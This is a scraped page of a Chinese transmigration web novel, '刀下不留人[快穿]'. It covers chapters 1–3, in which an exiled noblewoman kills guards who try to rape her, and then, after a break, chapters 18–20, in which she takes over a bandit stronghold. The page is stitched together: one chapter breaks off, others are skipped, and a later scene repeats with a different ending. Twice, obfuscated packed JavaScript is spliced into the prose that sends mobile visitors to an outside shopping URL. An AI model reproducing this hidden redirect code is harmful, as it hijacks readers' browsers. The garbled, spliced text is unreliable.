《刀下不留人[快穿]》 1. (一) 《刀下不留人[快穿]》全本免费阅读 头痛,饥饿,浑身无力......毕仁稍微有些意识,无论哪一种,感觉都不美好。 身边有人在说话,声音沙哑,语调又急。 很吵。 “大人,求求您放过我的女儿!求求您!” 放过谁? 自己是这说话女人的女儿么? “大人,这个,这个是我家新妇,出身上林毕氏,年轻貌美!我把她献给您!” 毕仁感觉自己被推搡,她本来应该是倚靠在什么地方的,这一推之下便顺势倒了下去,头被重重地磕了一下。 好痛。 一个男人的声音响起:“这都快死了吧?” 周围有调笑声跟着起哄:“就是,这么多女人呢,干嘛非得挑一个半死不活的,玩起来都没劲!” 又是一阵调笑声,恶意满满。 妇人急忙拽起倒地女子的头发:“大人您看,我这儿媳长得十分清丽,贵女出身呢!” 毕仁感觉自己脸上的头发被人粗暴扒拉开,她微微睁开眼,慢慢适应光线。 等到眼神能聚焦后,慢慢锁定眼前的站着的身影。 三个男人,统一服制,佩刀。 一个略显粗狂的络腮胡男人上前,拨开妇人,捏起毕仁的下巴,仔细端详了一下,给出结论。 “这个确实更好。” 毕仁的听觉慢慢开始恢复,她甚至听到了妇人松了一口气的声音。 她眼光往周围扫去,见到妇人爬到一名少女身侧,紧紧地搂住她,轻声安慰道:“没事,没事了啊!闻音,有毕氏在,你就安全了。” 少女双手紧紧拢着衣服前襟,靠在妇人怀里轻声啜泣:“嫂子她......” 妇人:“不怪咱们,她命不好,咱们得先顾着自己才是......” 哦,原来自己不是妇人的女儿啊,是她儿媳妇。 婆母和小姑子都有了,她男人哪去了? 死了么? 毕仁被拖走的时候,看见一个年轻男子坐在离那母女二人不远的地方,以袖掩面,一言不发。 嗯,也许没死。 这络腮胡男人一点不懂得怜香惜玉,毕仁被她一路拖行,磕得后脑壳生疼。 疼的她好想骂人。可惜嗓子发哑,一时间竟然说不出话来。 自己该不会穿到一个哑巴身上了吧? 好在这一路都是杂草居多,如果是碎石子路,估计自己的腰得废了。 毕仁上一刻还在和队友一起围杀丧尸,下一刻就被身后之人捅了个对穿。 人还没死透,就被扑上来的丧尸王咬了一口...... 玛德,真疼! 回想起来,现在还心有余悸。 可自己为什么会出现在这里?就算是死前幻觉,也应该让她先去解决了那个狗比背刺者啊。 叮! “宿主,您的时空穿梭辅助系统已经上线,代号‘百万’编号1741,很高兴为您服务! 欢迎来到新世界! 任务:好好活下去。 道具:杀你的刀一把(可隐藏)。 忠告:不要对任何人心慈手软。 毕仁:“......你怎么不再晚一点出现呢,我的狗币系统。” 站在眼前的大胡子已经开始解裤腰带了。 不过好在系统哔哔完之后,毕仁的体力就开始慢慢恢复,感觉力量在重回身体。 很好,她现在感觉有使不完的牛劲。 不过毕仁暂时不打算使用系统带来的刀具,那东西太扎眼,明显不属于这个时代。 杀丧尸她可以,杀一两个人更不在话下。 就在大胡子扑到她身上开始粗暴撕扯衣服的时候,毕仁闪电出手,拔出头上的木簪狠狠地扎向他的脖子。 只要力度够,速度快,捅穿大动脉轻而易举。 麻烦的是容易溅身上血。 男人正在兴奋中,完全没想到身下这个柔弱的女人会突然出手。等他有反应的时候已经来不及了,脖颈传来剧痛,他本能的想嚎叫。 可惜,毕仁先一步卸了他的下巴。那些未出口的求救自然也被堵在了喉咙里。 不能说话,无法呐喊,只能发出嗬嗬声。 然后哐当砸在女人身上,没了气息。 毕仁胸口被砸的一懵,痛哼出声。 远处听墙角的二人对了一个眼神,心照不宣。 官差甲:“啧,头儿这就玩上了。” 官差乙:“你不是看到了么,他给那老妇两块干粮呢,你以为是白玩呢?” 官差甲:“说的也是,要是我可舍不得,现在口粮可不多啊。你说他直接将人拖走不就行了么,何必......?” 官差乙:“这你就不懂了吧,这一路押送已经死了不少流放犯人了,这上面都是有记录的,死得太多也不行。再说,能用两块干粮就解决的事儿,干嘛非得硬来?” 官差甲:“说的也是。也不知道等会儿他玩完了能不能给咱们也...嘿嘿。” 俩人想到一块去了,在那臆想着嘎嘎□□。 而此时毕仁刚扒完胡子男的衣服,并用他自己的佩刀划烂了他的脸,顺便还在人中切了一刀,然后慢慢地,慢慢地,把他推进了河里。 动作幅度不能太大,扑通一声那种会招来人。毕仁耳力极佳,知道不远处还有人在盯梢。 也许是因为胡子男还没凉透,水会顺着口鼻灌进肺部,所以沉得比较快。 要不然沉不下去,一直在河面上飘着多尴尬。 也许刚穿来的缘故,毕仁和这具身体尚需磨合,她现在不过是刚刚热身了一下下就感觉到疲累。 她需要休息。 毕仁这么想的也就这么做了,直接躺在了河边草地上。她本来还想喝点河水润润嗓子的,但刚才一时脑抽,先把胡子男尸体推下了河。 嗯......泡尸水她不想喝,毕竟不是后世驰名世界的三哥一族,她还做不到完全放飞自我。 毕仁一边躺在草地上恢复体力,一边接收着这具身体的信息。 毕仁,年十九,上林毕氏二方嫡长女。其父毕善,生母早逝。还有一名同父同母的弟弟毕凌云,年十七。继母文淑,生女毕灵韵,年十五。 “毕仁”是替妹妹嫁给程家二房长子程拓的。 公爹已逝,婆母谭氏,有一小姑子程闻音。 哦,就是不久前把自己推出去顶缸的那一家子是吧。 很好,全都对上了。 也许是迟迟不见结束,在外围望风的二人有些疑惑。 官差乙:“头怎么还没完事?” 官差甲:“嗯?会不会是又来一回?” 官差乙摇头:“不对,别是出了什么事,我得去看看。”他以前也没这么久啊,别是见那小娘子好看,死在人家肚皮上了吧。 官差甲:“......成吧,我也去。”看来这胡头儿不太行啊,连手下人都知道了,啧。 二人一直寻到河边,才看见那里有人影。 官差乙:“胡头儿跑这么远干啥,不嫌费事呢。” 官差甲:“可能是防着我们吧。” 官差乙:“嘿!你说 2. (二) 《刀下不留人[快穿]》全本免费阅读 官差甲回来的时候不见另一个同伴,只有那个女人在河边洗手。 听到动静的毕仁转过头,目光清凌凌,再配上那样一张脸......那妇人说的对,此女确实清丽非常。 也许是月下看美人给他的错觉,他觉得此刻向他招手之人犹如神女落凡尘。 官差甲突然觉得喉咙有些干涩,他问:“他们呢?” 毕仁挑挑眉,她知道对方问的是谁,可她不想说话,嗓子疼。 官差觉得这女人虽美,却有些怪异,难不成让那谁说准了,真是个哑巴。 他往前走了几步,直到靠近了女人,才再次开口,期望她能看清自己的口型。 “我说,大胡子和刚才那人呢?你们......” 还没等他把话说完,毕仁就快速的拔出了他的腰刀,横在了他的脖子上面。 !! 虽然毕仁没有男人高,但这不影响她噶人。 毕仁的忍者嗓子的干涩开口,声音嘶哑难听,比之老妇还不如。 “敢叫,就让你下河底去陪他们。” ...... 毕仁:“现在,我问你答,你叫什么名字?” 官差甲:“贾、贾二。”他咽了咽唾沫,感觉这刀属实离脖子有点进了。 不过刚才是怎么回事?他都没看清眼前人的动作就被挟持了。 毕仁如同鬼魂一样附在他身后:“很好,贾二,你的同伴不见了,知道一会儿回去该怎么说么?” 女人的气息缓缓吹拂在贾二的后脖颈。不过,此时的他一点旖旎的心思都没有了。 贾二:“我......咳咳咳咳!” 毕仁趁着他再次开口,突然把一个东西塞进贾二嘴里,又堵住他的嘴,在他喉咙处捏了一把。 贾二就是再天真也知道自己被喂了什么不好的东西,他顾不得其他,拼命的往外吐。直到呕的他跪在了地上也没咳出来。 他感觉那明明是很大一块东西,怎么吐不出来? 毕仁:“别白费力气了,那药入口即化,何况是直接落到肚子里的。” 贾二:“咳咳咳......是,是什么东西?!” 毕仁:“毒药,需要定期服解药的那种。你也不用挣扎了,这是我保命的手段。” 贾二半信半疑,问:“不吃会怎样?” 呦,能问后果那就是信了一半。 毕仁居高临下的站在贾二面前,刀仍就架在他的脖子上。 “重新介绍一下我自己,出身上林毕氏。母族奉阳卢氏,三代行医,不才,在下也学得几分皮毛,救人不行,杀人尚可。” 贾二在脑中思索着,有些惊疑不定问道:“是那个出大医的卢氏么?” 毕仁默认。其实这些都是她瞎编的,原主母亲虽姓卢,但离奉阳卢氏八竿子都打不着。 没办法,只能先这么忽悠着。毕竟这人留下还有用。 ...... 等到毕仁跟随贾二回到队伍的时候,有人迎上前来,急呼呼地对贾二问道:“你们去哪了,怎么才回来?陈头儿都有点不高兴了。” 来人往贾二身后看去,问:“胡头儿他们呢?”说完又把眼神落在了毕仁身上,看她衣裙褶皱,身上头发上还有不少草屑,了然的撇撇嘴,嘟囔道:“有这好事也不说叫上我老曹。”看这女人的样子就知道被折腾的不轻。 贾二听见对方的话有些尴尬,拿眼神瞥了一下跟在身后的女人,见她面上并无异色。心里不由嘀咕:这毒蝎子还真能扮猪吃老虎。 正巧,此时有人来寻,说是陈头儿让他们过去问话。 贾二虽不愿,但也知道官大一级压死人的道理。自己虽然不是他那一队的人马,但总归同属于一个押送队伍。 去一趟就去一趟吧。 他一路走,一边在心里盘算着,一会儿如果被问起胡头二人的下落该怎么回答。 在即将快到陈头面前时,忽听得身后传来轻飘飘一句“小心答话,仔细性命。” 去他娘的!时刻被威胁着,这日子没法过了。 他们被带到陈头面前,结果第一句被问到的就是胡头儿二人的去向。 贾二无法,只得按事先和毕氏这女人商量好的回答:“胡、胡头儿他俩说,说这次押送任务反正也延误了,就算把人送到地方也难逃处罚,终究是个死,不如快活一把直接逃了吧。” 此话说完,周围顿时落针可闻。 快活一把指的是什么在场的人都清楚,一些人的目光隐晦地落在贾二身后的女人身上。 至于那句“终究是个死”,说的也没错。 根据《大邺律》,不论何种原因,凡押送人犯规定时间未到,所有人犯处死,押送者死。 也就是说,不论是押送者还是被押送者,都得死。 由此看来,那姓胡的二人跑了也情有可原。 陈头儿皱眉看着贾二,问道:“你怎么没跑?” 贾二躬身回话:“小人尚有族亲,不敢连累。” 有人低声在陈头儿面前回话,“那姓胡的二人确实没有家室,都是孑然一身。” 毕仁也听到这句话了,心想:这可真是歪打正着,杀得正正好。 陈头儿身边有人忍不住了,开始劝说道:“要不,咱们也跑吧!” 有人不同意:“那怎么行!” “怎么不行?反正一场大雨,汤县山体巨石滚落,我们在那耽误了许久。现在就是给我们都插上翅膀也不能按时飞到地方。迟则死,咱们为什么不能跑?” “迟则虽死,可逃跑被发现至少得屠三族!我可不比那姓胡的,我家中还有老母。” “是是,我家中也有妻儿,稚子无辜啊!” “要我说咱们到地方和接管官员好好说一说,万一就......” “哪来的万一?以前也不是没有过,可怎么样呢,你们见有谁被饶恕了?” ...... 现场又是一阵沉默,众人无不为自己即将到来的命运哀叹。 咦,《大邺律》原来还有这么一条。 这对毕仁来说是个机会。 穿到此地,这狗币系统既没让她干掉谁,也没让她拯救谁,只说让她好好活着。 毕仁衡量过自己现在的处境,独自逃跑也不是不可以,但这不稳妥。 首先,自己对这个陌生的世界不了解,单枪匹马闯出去怕有危险。 其次,系统那所谓的“好好”俩字,不知道还有没有其他的意思。毕竟,乞讨流浪或者绝地求生一类的词在毕仁眼里可称不上“好好”活着。 最后,介于刚刚解决掉的两个人,毕仁对自己的武力很有自信。这里应该没有修仙、高武、异能等等,就是一个充满普通人的小世界。 想清楚的毕仁决定先苟在这支押送队伍中,看看再说。 陈头儿很快做了决定,他缓缓站起来,看着下面的众人说:“我决定,不再按原计划到终点。明知道是个死局,就不要赶着去送命了。当然,愿意追随我陈权的就留下,咱们从长计议。不愿意的......你们仍然可以按原计划行进,想带走那些人犯我也不阻拦。” 下面几人叽叽喳喳嘈杂了一瞬,很快有人做出了决定,坚定地站到了陈头儿身后 3. (三) 《刀下不留人[快穿]》全本免费阅读 月清星稀,树影寂寥。 贾二望着离开陈权那伙人就甩开自己的女人背影,忍不住喊住她。 毕仁转过身,等着他开口。 贾二:“我们、我现在该怎么办?” 毕仁挑眉,这还真是个愣头青啊。 “就按刚才说的办,你去二队里当探子。”而她则去人犯堆里潜伏。 除了这些,毕仁还另有打算,不过这不需要眼前这个楞头小子知道。 “小心,别露了破绽。否则,不光是陈权,我也会杀了你哦。” 贾二:“……”她是怎么顶着那样一张脸说出如此恶毒之语的。 一个陈权,一个毕氏,简直是魔鬼。 而自己竟然一天之内撞鬼两次! 毕仁不理会面色复杂的贾二,转身往人犯那边走,毕竟身处乱世,心理还得自己调节,别人安慰一两句有什么用。 想让自己做心理咨询,收费可贵呢。 最先瞧见毕仁的是程闻音,她抓住母亲的手,示意她往那边看。 程母见到毕仁回来,先是一愣,而后面露嫌弃之色。这女人不知被那群官差糟蹋成了什么样子,还好意思回来?反正这样的货色,他们程家可不要。 程母掸了掸身上的灰,端着架子上前:“毕氏,你……” “还有吃的么?给我拿点。”毕仁不耐烦听这老妇哔哔,先一步打断她的话。 程母气急,这贱人还想要吃食?! “怎么,在外边没吃饱么?” 毕仁累了,又累又饿,她不想与这人做无畏的争执,只想吃东西先把肚子填饱再说。 “你大可放开嗓子喊的人尽皆知,好让其它人都听听,你这程家婆母是如何为了两块干粮就把儿媳妇献出去的。哦,别忘了,我是替你女儿遭的罪。” 程母被怼的一噎,还想再说两句,被女儿拉住了手。 程闻音倒不是多好心,只是有些心虚,她知道嫂子是被硬推出去的。如果俩人叫嚷起来,难免攀扯上自己,对她这个未嫁女来说于名声有碍。虽然他们现在是流放犯人,但焉知没有翻身的一天。 对未来有所期望是好事,但把期望放在别人身上就不妥了。 毕仁见程闻音递过来一块饼子,伸手接了,而后就见这姑娘扭头就想走。 毕仁喊住她:“等等。” 程闻音:“……嫂、嫂子,我……你不能怪我,要怪就怪你命不好,你……” 命不好么?也许是吧。 谁家好人上一秒杀丧尸被同伴背刺,下一秒就掉落在这个鸟不拉屎的地方,差一些就被轮流霍霍了。 说句天崩开局也不为过。 不过,这些都不是程家人拿“命不好”这个词推毕仁出去顶缸的理由。 如果事后再加上嘲讽……那毕仁觉得自己要好好教一下他们怎么做人。 不过现在么,还是先把食物咽进肚子再说。 毕仁挑眉:“我想说……再给我拿些水来。” “啊?哦哦。”程闻音飞快地跑开,不一会儿又递了一个水壶过来。 相比于腹中饥饿,毕仁真的是很渴,感觉嗓子已经干的快冒烟了。还没等她把水送进口中,就被一只横伸出来的手拍掉了水囊。 跳出来的还是程母,这个妇人一脸尖酸刻薄相,“你也配用我家水囊,一个脏货!你那嘴怕不是……” 啪! “啊!” 这声是程母叫的,她突然被抽了一巴掌。 毕仁虽然饿着肚子,但她的力气还真不是普通妇人可比的。 程母顿时就感到脸颊火辣辣地疼,嘴里一股子血腥味。一张嘴,就吐出了一颗牙。 “啊啊!毕氏你个小贱人!我要打死你!” 啪! 又是一巴掌。 “啊!” 毕仁就着月光欣赏了一下自己的杰作,嗯,月下看老妇,越看越磕碜。 接连被扇掉两颗牙的程母这回不哔哔了,她只敢捂着嘴呜呜。 这边的动静自然吸引了其它人的注意,包括程家兄妹俩。 大巴掌声多清脆啊,在寂静的夜里显得与夜色格格不入。 程闻音先一步上前,扶着母亲查看情况,急急地询问她怎么了? 程母呜呜呜,一张嘴就流血沫子。她不是不想说,儿子女儿都来了,正好给她撑腰。可她脸肿了,里外都有伤,一牵扯就疼的直流眼泪。 程拓上前,眼神在母亲与妻子之前逡巡了一圈,而后对准了毕仁,询问道:“怎么回事?” 还有另一句“怎么回事?”也同时响起,问话的是二队负责押送的官差之一。 程家三口看见来人,都没敢再开口,连告状都不曾,脚步齐齐往后退了一步。 来的官差刚好是之前给贾二报信的老曹,他的眼神在这一家子身上转来转去,而后了然。必定是因这小媳妇儿而起,估摸着是她回来了婆家人反而容不下吧。这个也没啥稀奇,之前那几次也是这样。 被推出去牺牲的那一个反而是遭人厌弃的,典型的放下碗骂娘。 老曹心思根本不在解决问题上面,反而盯着毕仁上下来来回回的打量,说出的话也贱嗖嗖:“要是不想睡就别睡了,不如跟我老曹先去快活快活。” 毕仁眼神不闪不避,直接问他:“哦?您喜欢年纪大的还是小的?喜欢男的还是女的?”她眼神不经意间划过程家三口。 听懂了弦外之意的老曹:“……”这程家人这么野么? 程家三口则是同一种感受,他们此刻看向披头散发的毕仁,如同看一只恶鬼。 否则她是怎么说出如此暗示性明显且恶毒的话。 老曹摩擦着下巴的胡茬,好像还真打算考虑换一下胃口。要他看,这老妇……其实也不老,还有那么一点风韵犹存。 顶着猪头脸的程母愣是被这人看出了一身鸡皮疙瘩。 不不不!她不行! 相比于鼻青脸肿的程母,老曹又把目光放在了程拓身上……这人长得还挺俊俏哈,斯斯文文地透着一股书卷气,不知道…… 还没等老曹琢磨出个四五六呢,就被贾二叫走了。 程家三人同时松了一口气。 毕仁这人没有同理心,直接开口提要求:“给我拿点干净水,还有,一块干粮不够,再拿一个。” 程拓见官差走远,他实在忍不住,觉得自己作为夫主的地位得到了挑衅:“毕氏你不要太过分!” 啪啪!! 一连两下,打得程拓措手不及。 还没等程拓还手,毕仁一脚踢中他要害,迫使他痛的弯腰低头。 再次照着程拓小腿一踹,他就跪在了地上,双手捂着裆部疼的直冒冷汗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872943|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登极乐。 毕仁:“我们这边呢?” 程闻音上前:“十一名官差无损伤,原流放队伍上山的无人死亡,略有轻伤。何家村村民上山百人,死五人,伤十五人。” 毕仁:“嗯,死了的好好安葬,登记一下他们的家人。受伤的通通让江家人去治。” 程闻音松了一口气,她好怕嫂嫂一句话把受伤的村民都嘎了。是她小人之心了,嫂嫂多么仁慈宽厚的一个人呐,最是讲道理,怎么会做那种事。 至于山匪……那哪能一概而论?不一样,他们不一样。 杀戮后的黄龙寨,有站着的,跪着的,躺着的,还有像陈权与毕仁这样坐着的。 这是激灵的孙厨子特意搬来的两把椅子。 陈权有了这一晚上的经历,给他两个胆子,他也不敢把毕仁当成自己手下那样呼来喝去。 这大姐是真敢噶人的。杀人不眨眼不说,偏偏武力值还超强。 真要论起来,连同自己在内的十一人一起上,估计也不够在她手下走上几个回合。 夺寨成功,当下摆在眼前的事就是权力归属。陈权以往感觉自己还是可以的,现在却觉得脑子不够用,早知把陈柄带上山来就好了。 掌握绝对话语权的人才能对胜利果实进行分配。 毕仁当仁不让的提出了她的建议,让陈权当大当家,陈柄当二当家。 陈权闻言心中一喜,这是万万想不到啊,这毕氏是真不贪功劳,他问:“那你呢?” “毕某当然是军师,愿辅佐您二位建功立业。” 瞧瞧,人家这话说的多敞亮! 两句话说完,陈权的心里就熨帖的不行,“那寨子里的一切事物就拜托军师了。”这人鬼点子多,不用白不用。 二人对于如此分配均很满意,可谓是两相欢喜。 毕仁趁热打铁,开始和陈权规划下一步的动作。 “咱们今晚这一番打打杀杀怕是不一定瞒得住,既然黄龙寨易主的事早晚得泄露出去,不如先一步开始行动。” “比如,逐步吞并白山一带的其余十七家匪寨,再控制住山下九个村落,如此咱们就有了和当地官府叫板的实力。” 陈权大惊:“为何要与官府为敌?” 啧!这货是不是真傻? 毕仁都特么开始怀疑自己选人的眼光了。 “当然是因为……您是匪啊大人!”叫你大人还真把自己当大人了。 看来有必要再次提醒他一下现在的身份。 毕仁:“大当家您忘啦,早在之前您就因为大雨延误,而叛出朝廷了。” 陈权:“……你要不说,我还真忘了。”都怪你一天大人大人的叫。 九村十八寨,不是笼统的说法,而是这白城一带确实如此。 山下只有九个村落,山上却有十八匪寨,可见当地吏治。 官府尚且不作为,手无寸铁的村民又能如何。 毕仁的下一步计划是,山上一统十八寨以点覆面,连城一线。山下收拢九村为己用,屯民为兵。 村为寨前哨,寨做村靠山。 这样上下勾连成一体,占据地势,便可高枕无忧。 “既然您也同意,那咱们就好好准备尽快开干吧。” “争取早日一统九村十八寨。” 毕仁一锤定音。 陈权:“……?”他什么时候同意了? 二人的谈话被一阵哭声打断,何二妮面有难色来报:“是寨子里的女人和孩子,还有之前寨主的压寨夫人,二位……怎么处置?” 毕仁挑眉:“当然是……” 何二妮紧张绞手指。 “拉出来看看呐。”不然呢,还能一把火烧了哇? …… 19.(十九) 被带上来的女人们大多面容凄苦,哭哭啼啼。稚子懵懂不提,有几个稍微大一点的孩子,对为首的毕仁和陈权露出仇恨的目光。 毕仁今天已经有点累了,杀人也很费体力的好么,她不想再为了一些无关紧要的人和事费心费力。 她起身在人群中转了一圈,说道:“关于你们的去留可以有两种选择,选择自行离开或者留下。” “留下的需要好好干活,当然,没人会强迫你们做不愿意的事。” “离开的可以带上你们的孩子,当然也可以不带,随意。不过日后无论任何情况下都不得向他人透露关于山寨的一切,包括今晚发生的事。” “以上说的自行去留仅限于被虏上山的女人极其孩子。” 有人带着疑惑开口询问:“如果,我是说如果,留在山上的孩子会怎么处理?” 毕仁眯眼看向问话的女人:“那就不是你该操心的事了,管好你自己就行。” 见女人犹豫,他身边一个约摸十来岁的男孩拉着她的衣袖问道:“娘你要去哪?你不要我了吗?寨子里的人说过,你这样的女人离开这里没人会要!你家里人也不会认你的!你就死了这条心吧!” 句句透漏着自私与刻薄,若不是亲耳听见,很难想象这是一个孩子对母亲说出来的话。 毕仁看着那个说话的男孩,露出一抹温柔的笑:“你懂得真多,几岁了?” 男孩气鼓鼓看着毕仁不答话。 毕仁指着面前那堆还没来得及收敛的尸首,说:“喏,那些都是惹我不高兴的人。” 男孩侧头看去,刚才那处灯火昏暗没看清楚,鼻间只是嗅到一股浓厚的血腥味,此时细看之下不禁骇然,连话都说不连贯了。 “啊!这这这,这些是?” “你们的大当家啊,怎么,不认识了?好了,现在回答我的问题,你多大?” “十、十三岁。” “是该懂事的年纪了。” 问话的女人站起身,语带坚定道:“我选择下山自己走。” “娘!” “嘘。不要叫哦,小心被割舌头。”毕仁故作恶趣味的吓唬他。 “还有谁?明天一起让人送你们下山,过时不候。” 下面的女人们你瞅瞅我,我瞅瞅你,而后具都沉默的低下头。 从女人堆里站出来一人,一身红衣,梳着妇人髻,随意摆弄发丝的动作都带着不可名状的韵味。 她一开口,嗓音都透着妖娆:“奴家也想下山。” 这次换到陈权来了精神头,他伸直脖子盯着妇人猛瞧,那俩眼珠子恨不得直接粘人家身上。 毕仁心里啧啧:这货还不是英雄呢,就想挑战一下美人关。 系统冒泡:嗯,据说这是男人的劣根性。 毕仁随意的抽出贾二的佩刀,向着红衣女人走过去。 那女人见状急切的往陈权那个方向看去,眼中隐隐蕴含着期望。 毕仁要杀的人,陈权哪里敢拦,只能装作没看见美人眼神中的若水秋波。 红衣女人在心中暗暗骂道:个怂货,连自个的女人都不敢管,还不如之前那个死鬼大当家呢! 显然,她是误会了毕仁和陈权的关系。 红衣女人收起那副妖娆的姿态,对着毕仁恭敬福了一礼:“夫人别杀我,我知道大当家的秘密。” 毕仁抬起刀架在她脖子上,无所谓道:“死人哪有什么秘密,等我料理完了这些事,慢慢发掘就是了。” “别别!夫人刀下留人,我和猛虎寨的二当家有交情!”红衣女情急之下喊出的这句话。 “哦?说来听听。”毕仁原本就是想吓她一吓,没想到还真套出了有用的东西。 “奴家姓白名清,和猛虎寨的二当家牛犇是同村,邻里邻居的住着打小就相识,他他……我我……兴许能说上几句话。” “哦~青梅竹马啊。”毕仁嘴角微勾,“正好有事需劳烦你,压寨夫人。” 白氏脸色微僵,脸上带着些许不自然:“不不,不敢当,全凭夫人吩咐。” 毕仁:“嗯,过后来我屋里。” 那一晚,毕仁屋里的烛火亮到天光将明才熄灭。 陈权:“……”啥意思,毕仁把白氏收了? 啊,怪不得觉得毕仁那女人与她男人相处起来怪里怪气? 原来她好的是这口! 这一晚上折腾的够呛,毕仁一挥手,所有人都行动起来,拾掇屋子的,捡尸体的,打扫战场的都忙活了起来。 孙厨子带着一些人去灶上忙活,开始为明天的朝食做准备。 “把那些个腌制的米肉都扔出去,还有哪些不能要的一定要全都收拾出来,就着火一块儿和那帮山匪凑做一堆烧了。” “夫人可不喜欢见到这些东西。” “还有那几口大锅给我烧热水多刷几遍,确保干干净净的别留下什么油腥。” “那边还有几口小的,是我带上山的,谁也别动,那是给夫人做吃食用的,都注意着点!” “你们以后就跟着我老孙好好伺候夫人,否则看见外面没?那些人就是惹夫人不高兴的下场!” 厨房忙忙碌碌的众人一听这话,齐齐打了一个哆嗦。 娘耶!这新来的母老虎比之前那两个土匪头子可凶多了。 一不小心就会丢掉小命,可得打起十二分精神。 在没有毕仁的情况下,寨子里的一切已经有条不紊的运转起来了。 班氏姐妹,程家三口,何二妮,贾二,老曹,还有厨子孙盘,这些人已经无形之间成为了毕仁的拥趸。 更有一些其他人也在默默听命于毕仁的号令。可以说,她现在无形中已经掌握了这支由官差,流放犯,何家村村民和山匪组成队伍的实际话语权。 陈权虽名义上是大当家,但实际却是一个立于明面上的傀儡。而这一切,他本人却尚未察觉,还在做着梦称霸一方的春秋大梦。 …… 毕仁背着手带人巡视着这座刚刚拿下不久的山寨,吩咐班泰:“你带着人把山寨的围墙都加固一遍,然后着手安排烧制砖块,陆续把寨墙都给我换成青砖。 人手去贾二那领,然后找班文登记。 记住,所有人要在自己的烧制或者累建的砖块上刻上姓名。一旦发现建造质量不合格,就地斩杀,以儆效尤。” 她吩咐程大伯:“你去山下给我收些粮食上来,越多越好,不拘什么,能填饱肚子的就成,多多益善。 不过你要是敢犯老毛病在粮价上动手脚,当面一套,背后一套,我就只能忍痛屠了你全家。懂?” 程大伯忙不迭点头:“那……买粮的银钱?” 毕仁:“这个不需要担心,一会儿去程闻音那里取。” 她继续吩咐:“黑土,你上次说会做弓弩?” 黑土:“是。” 毕仁:“一会儿你和西门朔方一起到我屋里来。” 西门朔方:“夫人,您想让再下炼制什么丹药?” 毕仁微笑:“当然是大大的,圆圆的。”最好能爆炸的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897301|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西门朔方:“呃……太大的丹药不好下咽呐?” 毕仁:“把思路打开一点,你炼丹追求的极致目地不就是飞升么,都是送人上天,何必在乎手段。” 西门朔方:“……”夫人到底什么意思? 毕仁:“至于江家人……” 江甚自动出列,听候差遣。 “你把家里会医术的都召集起来,给受伤的人医治,再开些药给老弱妇孺进行预防,顺便……去给下溪村来的小陈氏和寨子里的女人们开些药。缺的药材就下山去买,可以和程大伯一道,钱财同样去程闻音那里支取。” 江甚对其话中有疑惑:“敢问夫人,给女人们开些什么药?” 毕仁:“当然是开江御医你最擅长的千金内科。” 江甚联想到寨子里女人们的遭遇,恍然大悟,立刻保证道:“夫人放心,这正是江某之所长。” 毕仁:”至于王太公你……” 话音被一阵吵吵嚷嚷打断,毕仁皱眉。 就见何二妮过来找她,气喘吁吁的说:“夫人,不好了,有人寻死!” …… 寻死的是寨子里原先被圈养的女子,她刚被人从房梁上解下来,脖子间还可见一道勒痕,一群女人围着她在默默抹眼泪。 毕仁问:“为何寻死?” 女子捂着脖子抬起头,眼神空洞:“我听人说,何家村被屠了。” 毕仁:“嗯,确切的说是屠了一半。” 女子:“那我家……我还能去哪呢?” 毕仁:“不是说了么,愿意留下的只要好好做活,山寨自有尔等一口饭吃。” 女子低头半晌:“可我不甘心,凭什么我什么都没了,坏人却活的好好的。” “坏人?你说的是谁?” “就是那个何虎,就是他把我虏到山上的,他是我表哥,我们自小一块长大,他怎么能如此丧尽天良猪狗不如!” 何虎,阿虎…毕仁把这个名字放在嘴里慢慢咀嚼了两遍,而后恍然大悟,原来是他啊! 看来何氏一族仍有漏网之鱼。 毕仁环视屋内的女人们,她慢悠悠开口:“你们谁要是想死我不拦着,不过死之前不想报复一下伤害你们的畜牲吗?” 报复?还可以报复?! 于是昨晚侥幸存活的一群山匪又迎来了他们的噩梦。 毕仁位于上首,虎视眈眈。 山寨的女人们出来指认,贾二、老曹等负责提人。 指到哪,哪里求饶声一片。 那几个原本心存死志的女人一刀接一刀,没力气了就换下一个。直到把绑着的山匪一个个砍成了肉泥,连死了的都没放过。 何虎没能幸免,也在被砍之列,动手的就是他的表妹——刘莲。 等发泄完这一切,刘莲抬头,目光炯炯:“我不想死了!他们这帮无恶不作的畜牲都能苟活,我凭什么不能?” 毕仁微笑:“当然,你比他们要堂堂正正。” 刘莲:“对,我要活的堂堂正正。”说完这句话,这个曾经被伤害、想寻死、砍杀土匪时都未哭泣的女子,此时泪流满面。 所有人都目睹着这一切,四周寂静无声。 毕仁:“记住,这就是伤害女人的下场。” 众人噤若寒蝉,尤其是在场的男人们。 毕仁打了个哈欠:“杀累了没?” “没有,回夫人,杀这帮畜生多少我都不会累。” “唔,这样啊……那改天我带你们出去杀。 …… 20.(二十) 寻死的是寨子里原先被圈养的女子,她刚被人从房梁上解下来,脖子间还可见一道勒痕,一群女人围着她在默默抹眼泪。 毕仁问:“为何寻死?” 女子捂着脖子抬起头,眼神空洞:“我听人说,何家村被屠了。” 毕仁:“嗯,确切的说是屠了一半,死的都是何家人。” 女子低头沉默半晌,忽而愤怒咒骂:“杀得好!那何家从上到下没一个好人,连邻里相亲都骗,活该他们被灭族!不知是哪位英雄好汉干的?真是解气!” 毕仁轻咳一声,挺直了胸膛:实不相瞒,那个英雄就是我。 真可惜马屁精……哦不,程闻音怎么不在,要不然绝对会在这帮女人面前对自己歌功颂德一番。 